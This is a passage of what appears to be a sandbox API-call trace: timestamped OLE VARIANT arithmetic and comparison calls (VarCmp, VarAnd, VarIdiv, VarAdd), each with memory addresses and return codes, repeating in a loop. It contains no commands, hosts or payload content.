pvarLeft=0x7461850, pvarRight=0x7461cb0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.273] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.273] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.273] VarAnd (in: pvarLeft=0x7461850, pvarRight=0x7461d30, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.273] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.273] VarIdiv (in: pvarLeft=0x7461850, pvarRight=0x7461d60, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.273] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.273] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.273] VarAnd (in: pvarLeft=0x7461850, pvarRight=0x7461cc8, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.273] VarAdd (in: pvarLeft=0x7461908, pvarRight=0x7461978, pvarResult=0x74618d8 | out: pvarResult=0x74618d8) returned 0x0 [0018.273] VarAdd (in: pvarLeft=0x7461ee8, pvarRight=0x7461978, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.273] VarAdd (in: pvarLeft=0x7461c28, pvarRight=0x7461bb8, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.273] VarAdd (in: pvarLeft=0x7461bb8, pvarRight=0x74619c0, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.273] VarAdd (in: pvarLeft=0x74618f0, pvarRight=0x74618d8, pvarResult=0x74618c0 | out: pvarResult=0x74618c0) returned 0x0 [0018.273] VarAdd (in: pvarLeft=0x7461bb8, pvarRight=0x7461920, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.273] VarAdd (in: pvarLeft=0x7461ba0, pvarRight=0x74618a8, pvarResult=0x74618d8 | out: pvarResult=0x74618d8) returned 0x0 [0018.273] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.273] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.273] VarAnd (in: pvarLeft=0x7461850, pvarRight=0x7461d90, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.273] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.273] VarIdiv (in: pvarLeft=0x7461850, pvarRight=0x7461cb0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.273] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.274] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.274] VarAnd (in: pvarLeft=0x7461850, pvarRight=0x7461d30, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.274] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.274] VarIdiv (in: pvarLeft=0x7461850, pvarRight=0x7461d60, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.274] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.274] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.274] VarAnd (in: pvarLeft=0x7461850, pvarRight=0x7461cc8, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.274] VarAdd (in: pvarLeft=0x7461908, pvarRight=0x7461978, pvarResult=0x74618d8 | out: pvarResult=0x74618d8) returned 0x0 [0018.274] VarAdd (in: pvarLeft=0x7461ee8, pvarRight=0x7461978, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.274] VarAdd (in: pvarLeft=0x7461c28, pvarRight=0x7461bb8, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.274] VarAdd (in: pvarLeft=0x7461bb8, pvarRight=0x74619c0, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.274] VarAdd (in: pvarLeft=0x74618f0, pvarRight=0x74618d8, pvarResult=0x74618c0 | out: pvarResult=0x74618c0) returned 0x0 [0018.274] VarAdd (in: pvarLeft=0x7461bb8, pvarRight=0x7461920, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.274] VarAdd (in: pvarLeft=0x7461ba0, pvarRight=0x74618a8, pvarResult=0x74618d8 | out: pvarResult=0x74618d8) returned 0x0 [0018.274] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.274] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.274] VarAnd (in: pvarLeft=0x7461850, pvarRight=0x7461d90, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.274] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.274] VarIdiv (in: pvarLeft=0x7461850, pvarRight=0x7461cb0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.274] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.274] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.274] VarAnd (in: pvarLeft=0x7461850, pvarRight=0x7461d30, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.274] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.274] VarIdiv (in: pvarLeft=0x7461850, pvarRight=0x7461d60, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.274] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.274] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.274] VarAnd (in: pvarLeft=0x7461850, pvarRight=0x7461cc8, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.274] VarAdd (in: pvarLeft=0x7461908, pvarRight=0x7461978, pvarResult=0x74618d8 | out: pvarResult=0x74618d8) returned 0x0 [0018.274] VarAdd (in: pvarLeft=0x7461ee8, pvarRight=0x7461978, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.274] VarAdd (in: pvarLeft=0x7461c28, pvarRight=0x7461bb8, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.274] VarAdd (in: pvarLeft=0x7461bb8, pvarRight=0x74619c0, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.274] VarAdd (in: pvarLeft=0x74618f0, pvarRight=0x74618d8, pvarResult=0x74618c0 | out: pvarResult=0x74618c0) returned 0x0 [0018.274] VarAdd (in: pvarLeft=0x7461bb8, pvarRight=0x7461920, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.274] VarAdd (in: pvarLeft=0x7461ba0, pvarRight=0x74618a8, pvarResult=0x74618d8 | out: pvarResult=0x74618d8) returned 0x0 [0018.274] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.274] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.274] VarAnd (in: pvarLeft=0x7461850, pvarRight=0x7461d90, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.274] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.274] VarIdiv (in: pvarLeft=0x7461850, pvarRight=0x7461cb0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.274] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.274] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.274] VarAnd (in: pvarLeft=0x7461850, pvarRight=0x7461d30, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.274] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.274] VarIdiv (in: pvarLeft=0x7461850, pvarRight=0x7461d60, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.274] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.274] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.274] VarAnd (in: pvarLeft=0x7461850, pvarRight=0x7461cc8, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.274] VarAdd (in: pvarLeft=0x7461908, pvarRight=0x7461978, pvarResult=0x74618d8 | out: pvarResult=0x74618d8) returned 0x0 [0018.274] VarAdd (in: pvarLeft=0x7461ee8, pvarRight=0x7461978, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.274] VarAdd (in: pvarLeft=0x7461c28, pvarRight=0x7461bb8, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.274] VarAdd (in: pvarLeft=0x7461bb8, pvarRight=0x74619c0, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.274] VarAdd (in: pvarLeft=0x74618f0, pvarRight=0x74618d8, pvarResult=0x74618c0 | out: pvarResult=0x74618c0) returned 0x0 [0018.274] VarAdd (in: pvarLeft=0x7461bb8, pvarRight=0x7461920, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.274] VarAdd (in: pvarLeft=0x7461ba0, pvarRight=0x74618a8, pvarResult=0x74618d8 | out: pvarResult=0x74618d8) returned 0x0 [0018.274] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.274] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.274] VarAnd (in: pvarLeft=0x7461850, pvarRight=0x7461d90, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.274] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.274] VarIdiv (in: pvarLeft=0x7461850, pvarRight=0x7461cb0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.274] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.274] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.274] VarAnd (in: pvarLeft=0x7461850, pvarRight=0x7461d30, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.274] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.275] VarIdiv (in: pvarLeft=0x7461850, pvarRight=0x7461d60, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.275] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.275] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.275] VarAnd (in: pvarLeft=0x7461850, pvarRight=0x7461cc8, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.275] VarAdd (in: pvarLeft=0x7461908, pvarRight=0x7461978, pvarResult=0x74618d8 | out: pvarResult=0x74618d8) returned 0x0 [0018.275] VarAdd (in: pvarLeft=0x7461ee8, pvarRight=0x7461978, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.275] VarAdd (in: pvarLeft=0x7461c28, pvarRight=0x7461bb8, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.275] VarAdd (in: pvarLeft=0x7461bb8, pvarRight=0x74619c0, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.275] VarAdd (in: pvarLeft=0x74618f0, pvarRight=0x74618d8, pvarResult=0x74618c0 | out: pvarResult=0x74618c0) returned 0x0 [0018.275] VarAdd (in: pvarLeft=0x7461bb8, pvarRight=0x7461920, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.275] VarAdd (in: pvarLeft=0x7461ba0, pvarRight=0x74618a8, pvarResult=0x74618d8 | out: pvarResult=0x74618d8) returned 0x0 [0018.275] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.275] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.275] VarAnd (in: pvarLeft=0x7461850, pvarRight=0x7461d90, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.275] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.275] VarIdiv (in: pvarLeft=0x7461850, pvarRight=0x7461cb0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.275] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.275] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.275] VarAnd (in: pvarLeft=0x7461850, pvarRight=0x7461d30, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.275] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.275] VarIdiv (in: pvarLeft=0x7461850, pvarRight=0x7461d60, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.275] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.275] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.275] VarAnd (in: pvarLeft=0x7461850, pvarRight=0x7461cc8, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.275] VarAdd (in: pvarLeft=0x7461908, pvarRight=0x7461978, pvarResult=0x74618d8 | out: pvarResult=0x74618d8) returned 0x0 [0018.275] VarAdd (in: pvarLeft=0x7461ee8, pvarRight=0x7461978, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.275] VarAdd (in: pvarLeft=0x7461c28, pvarRight=0x7461bb8, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.275] VarAdd (in: pvarLeft=0x7461bb8, pvarRight=0x74619c0, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.275] VarAdd (in: pvarLeft=0x74618f0, pvarRight=0x74618d8, pvarResult=0x74618c0 | out: pvarResult=0x74618c0) returned 0x0 [0018.275] VarAdd (in: pvarLeft=0x7461bb8, pvarRight=0x7461920, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.275] VarAdd (in: pvarLeft=0x7461ba0, pvarRight=0x74618a8, pvarResult=0x74618d8 | out: pvarResult=0x74618d8) returned 0x0 [0018.275] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.275] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.275] VarAnd (in: pvarLeft=0x7461850, pvarRight=0x7461d90, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.275] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.275] VarIdiv (in: pvarLeft=0x7461850, pvarRight=0x7461cb0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.275] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.275] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.275] VarAnd (in: pvarLeft=0x7461850, pvarRight=0x7461d30, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.275] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.275] VarIdiv (in: pvarLeft=0x7461850, pvarRight=0x7461d60, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.275] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.275] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.275] VarAnd (in: pvarLeft=0x7461850, pvarRight=0x7461cc8, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.275] VarAdd (in: pvarLeft=0x7461908, pvarRight=0x7461978, pvarResult=0x74618d8 | out: pvarResult=0x74618d8) returned 0x0 [0018.275] VarAdd (in: pvarLeft=0x7461ee8, pvarRight=0x7461978, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.275] VarAdd (in: pvarLeft=0x7461c28, pvarRight=0x7461bb8, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.276] VarAdd (in: pvarLeft=0x7461bb8, pvarRight=0x74619c0, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.276] VarAdd (in: pvarLeft=0x74618f0, pvarRight=0x74618d8, pvarResult=0x74618c0 | out: pvarResult=0x74618c0) returned 0x0 [0018.276] VarAdd (in: pvarLeft=0x7461bb8, pvarRight=0x7461920, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.276] VarAdd (in: pvarLeft=0x7461ba0, pvarRight=0x74618a8, pvarResult=0x74618d8 | out: pvarResult=0x74618d8) returned 0x0 [0018.276] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.276] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.276] VarAnd (in: pvarLeft=0x7461850, pvarRight=0x7461d90, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.276] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.276] VarIdiv (in: pvarLeft=0x7461850, pvarRight=0x7461cb0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.276] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.276] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.276] VarAnd (in: pvarLeft=0x7461850, pvarRight=0x7461d30, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.276] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.276] VarIdiv (in: pvarLeft=0x7461850, pvarRight=0x7461d60, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.276] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.276] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.276] VarAnd (in: pvarLeft=0x7461850, pvarRight=0x7461cc8, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.276] VarAdd (in: pvarLeft=0x7461908, pvarRight=0x7461978, pvarResult=0x74618d8 | out: pvarResult=0x74618d8) returned 0x0 [0018.276] VarAdd (in: pvarLeft=0x7461ee8, pvarRight=0x7461978, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.276] VarAdd (in: pvarLeft=0x7461c28, pvarRight=0x7461bb8, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.276] VarAdd (in: pvarLeft=0x7461bb8, pvarRight=0x74619c0, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.276] VarAdd (in: pvarLeft=0x74618f0, pvarRight=0x74618d8, pvarResult=0x74618c0 | out: pvarResult=0x74618c0) returned 0x0 [0018.276] VarAdd (in: pvarLeft=0x7461bb8, pvarRight=0x7461920, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.276] VarAdd (in: pvarLeft=0x7461ba0, pvarRight=0x74618a8, pvarResult=0x74618d8 | out: pvarResult=0x74618d8) returned 0x0 [0018.276] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.276] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.276] VarAnd (in: pvarLeft=0x7461850, pvarRight=0x7461d90, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.276] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.276] VarIdiv (in: pvarLeft=0x7461850, pvarRight=0x7461cb0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.276] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.276] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.276] VarAnd (in: pvarLeft=0x7461850, pvarRight=0x7461d30, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.276] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.276] VarIdiv (in: pvarLeft=0x7461850, pvarRight=0x7461d60, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.276] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.276] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.276] VarAnd (in: pvarLeft=0x7461850, pvarRight=0x7461cc8, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.276] VarAdd (in: pvarLeft=0x7461908, pvarRight=0x7461978, pvarResult=0x74618d8 | out: pvarResult=0x74618d8) returned 0x0 [0018.276] VarAdd (in: pvarLeft=0x7461ee8, pvarRight=0x7461978, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.276] VarAdd (in: pvarLeft=0x7461c28, pvarRight=0x7461bb8, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.276] VarAdd (in: pvarLeft=0x7461bb8, pvarRight=0x74619c0, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.276] VarAdd (in: pvarLeft=0x74618f0, pvarRight=0x74618d8, pvarResult=0x74618c0 | out: pvarResult=0x74618c0) returned 0x0 [0018.276] VarAdd (in: pvarLeft=0x7461bb8, pvarRight=0x7461920, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.276] VarAdd (in: pvarLeft=0x7461ba0, pvarRight=0x74618a8, pvarResult=0x74618d8 | out: pvarResult=0x74618d8) returned 0x0 [0018.276] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.276] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.276] VarAnd (in: pvarLeft=0x7461850, pvarRight=0x7461d90, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.276] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.276] VarIdiv (in: pvarLeft=0x7461850, pvarRight=0x7461cb0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.276] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.276] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.276] VarAnd (in: pvarLeft=0x7461850, pvarRight=0x7461d30, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.276] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.276] VarIdiv (in: pvarLeft=0x7461850, pvarRight=0x7461d60, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.276] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.276] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.276] VarAnd (in: pvarLeft=0x7461850, pvarRight=0x7461cc8, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.276] VarAdd (in: pvarLeft=0x7461908, pvarRight=0x7461978, pvarResult=0x74618d8 | out: pvarResult=0x74618d8) returned 0x0 [0018.276] VarAdd (in: pvarLeft=0x7461ee8, pvarRight=0x7461978, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.276] VarAdd (in: pvarLeft=0x7461c28, pvarRight=0x7461bb8, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.276] VarAdd (in: pvarLeft=0x7461bb8, pvarRight=0x74619c0, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.276] VarAdd (in: pvarLeft=0x74618f0, pvarRight=0x74618d8, pvarResult=0x74618c0 | out: pvarResult=0x74618c0) returned 0x0 [0018.277] VarAdd (in: pvarLeft=0x7461bb8, pvarRight=0x7461920, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.277] VarAdd (in: pvarLeft=0x7461ba0, pvarRight=0x74618a8, pvarResult=0x74618d8 | out: pvarResult=0x74618d8) returned 0x0 [0018.277] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.277] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.277] VarAnd (in: pvarLeft=0x7461850, pvarRight=0x7461d90, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.277] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.277] VarIdiv (in: pvarLeft=0x7461850, pvarRight=0x7461cb0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.277] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.277] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.277] VarAnd (in: pvarLeft=0x7461850, pvarRight=0x7461d30, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.277] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.277] VarIdiv (in: pvarLeft=0x7461850, pvarRight=0x7461d60, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.277] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.277] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.277] VarAnd (in: pvarLeft=0x7461850, pvarRight=0x7461cc8, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.277] VarAdd (in: pvarLeft=0x7461908, pvarRight=0x7461978, pvarResult=0x74618d8 | out: pvarResult=0x74618d8) returned 0x0 